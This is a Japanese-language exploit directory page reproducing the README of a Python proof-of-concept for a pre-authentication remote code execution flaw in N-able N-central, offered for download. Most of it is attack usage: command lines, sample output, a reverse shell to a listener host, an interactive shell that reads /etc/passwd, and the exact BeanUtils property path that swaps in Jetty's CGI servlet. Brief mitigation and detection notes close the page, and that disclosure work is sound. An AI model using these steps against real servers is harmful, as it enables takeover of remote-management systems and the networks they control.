Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-86218 — CVE-2026-86218(N-able N-centralにおけるStrutsマルチパート競合状態を悪用した認証前RCE)のPython 3による概念実証エクスプロイト。コマンド実行とリバースシェルをサポート。 | Kitploit
ツール/GitHubGitHub/super-meuw/cve-2026-86218
脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストレッドチーミングリモートアクセスツールペイロード開発
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

CVE-2026-86218(N-able N-centralにおけるStrutsマルチパート競合状態を悪用した認証前RCE)のPython 3による概念実証エクスプロイト。コマンド実行とリバースシェルをサポート。

リポジトリを見る
0日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-86218 - N-able N-central 認証前RCEエクスプロイト

概要

これは、N-able N-central における重大な認証前リモートコード実行脆弱性である CVE-2026-86218 の Python 3 概念実証エクスプロイトです。

脆弱性の詳細:

  • CVE: CVE-2026-86218
  • CVSS スコア: 10.0 (Critical)
  • CWE: CWE-96 (静的コードインジェクション)
  • 影響を受けるバージョン: N-central < 2026.3.1.14
  • 攻撃ベクトル: ネットワーク (未認証)

脆弱性の説明

N-able N-central は、未認証アクション (/remoteControlAction.do) 上でセッションスコープの Struts フォームを使用しています。2つの同時マルチパートリクエストがフォームのマルチパートハンドラを競合させ、Jetty のライブ設定を Commons BeanUtils のプロパティ設定に露出させる可能性があります。これにより、攻撃者は以下を実行できます:

  1. 遅延 N-central サーブレットホルダー (例: LogRetrieval) を Jetty にバンドルされた CGI サーブレットに置き換える
  2. CGI サーブレットを設定して /bin/sh -s 経由で任意のコマンドを実行させる
  3. 置き換えられたサーブレットの URL マッピングを通じてコマンドを送信する

要件

root@kitploit:~
pip install requests

使用方法

基本構文

root@kitploit:~
python3 CVE-2026-86218.py -t <target_url> [options]

オプション

オプション説明
-t, --target対象の N-central URL (例: https://192.168.1.100)
-c, --command実行する単一コマンド
-i, --interactive対話型コマンドモード
--lhostリバースシェル用のリスナー IP
--lportリスナーポート (デフォルト: 4444)
--servlet置き換えるサーブレット: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
--check対象が脆弱かどうかを確認
--no-verify-sslSSL 証明書検証を無効化
--timeoutリクエストタイムアウト (デフォルト: 30秒)
--race-delay競合状態の遅延 (デフォルト: 0.35秒)
-v, --verbose詳細出力を有効化

例

1. 対象が脆弱かどうかを確認

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

期待される出力:

root@kitploit:~
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. 単一コマンドを実行

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

期待される出力:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. リバースシェル

最初にリスナーを起動:

root@kitploit:~
nc -lvnp 4444

エクスプロイトを実行:

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

期待される出力:

root@kitploit:~
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

リスナー出力:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. 対話型モード

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

対話型セッション:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. 別のサーブレットを使用

root@kitploit:~
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

サーブレットオプション

サーブレット説明影響
LogRetrievalログ取得エンドポイント (デフォルト)最も影響が少なく、再起動までログが利用不可
FileTransferファイル転送エンドポイントファイル転送機能を妨害
AutomationManagerDownloadServlet自動化管理ダウンロード管理 UI ポート (8443) が必要

仕組み

エクスプロイトの流れ

  1. バージョン確認: /remoteControlAction.do をクエリしてエラーページからバージョンを抽出
  2. セッション取得: 未認証の JSESSIONID を取得
  3. 競合状態:
    • パース中に一時停止する低速なマルチパートリクエストを送信
    • 一時停止中に、共有フォームにハンドラをインストールするヘルパーリクエストを送信
    • BeanUtils プロパティインジェクションフィールドで低速リクエストを再開
  4. サーブレット置き換え: LogRetrieval を Jetty CGI サーブレットに置き換え
  5. コマンド実行: CGI エンドポイントを通じてコマンドを送信

技術的詳細

この脆弱性は、Struts のマルチパートフォーム処理における競合状態を悪用します:

  • Struts は HTTP セッションごとに1つのフォームオブジェクトを保存する
  • マルチパートリクエストの開始時に、Struts はフォームのマルチパートハンドラを削除する
  • Struts がまだボディを読み取っている間に、低速リクエストが一時停止する
  • ヘルパーリクエストが完了し、初期化されたハンドラをインストールする
  • 低速リクエストが継続すると、BeanUtils が細工されたフィールド名をハンドラを通じて辿る
  • これらのフィールドは Jetty の WebAppContext に到達し、サーブレットホルダーを置き換える

ミューテーションフィールドは JavaBean プロパティパスを使用します:

root@kitploit:~
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

これは以下を辿ります: マルチパートハンドラ → サーブレットコンテキスト → クラスローダー → WebAppContext → サーブレットハンドラ → 特定のホルダー

緩和策

  1. 直ちにパッチを適用: N-central 2026.3.1.14 以降にアップグレード
  2. アクセスを制限: N-central コンソールへのインバウンドアクセスを制限
  3. ネットワークセグメンテーション: N-central を VPN または IP 許可リストの背後に配置
  4. ログを監視: 不審な API アクティビティやユーザー作成を確認

検出

ログ指標

  • /remoteControlAction.do への異常なリクエスト
  • 異常なフィールド名を持つマルチパートリクエスト
  • LogRetrieval エンドポイント上の CGI 関連アクティビティ
  • 予期しないユーザーアカウントの作成

ネットワーク指標

  • 同じエンドポイントへの複数の急速なリクエスト
  • 大きなマルチパートペイロード
  • 異常な送信元 IP からの接続

参考資料

  • N-able Security Advisory
  • N-able Hotfix 4 Release Notes
  • Rapid7 Metasploit Module
  • Huntress Blog Post
  • CISA KEV Catalog

免責事項

このエクスプロイトは、許可されたセキュリティテストおよび教育目的のみで提供されています。所有していない、またはテスト許可を得ていないシステムに対してこのエクスプロイトを不正使用することは、違法かつ非倫理的です。

ペネトレーションテスト活動を実施する前に、常に適切な許可を取得してください。

クレジット

  • 脆弱性の発見: N-able Security Team
  • Metasploit モジュール: sfewer-r7 (Rapid7)
  • エクスプロイト開発: Rapid7 の調査および公開アドバイザリに基づく
ツールをダウンロード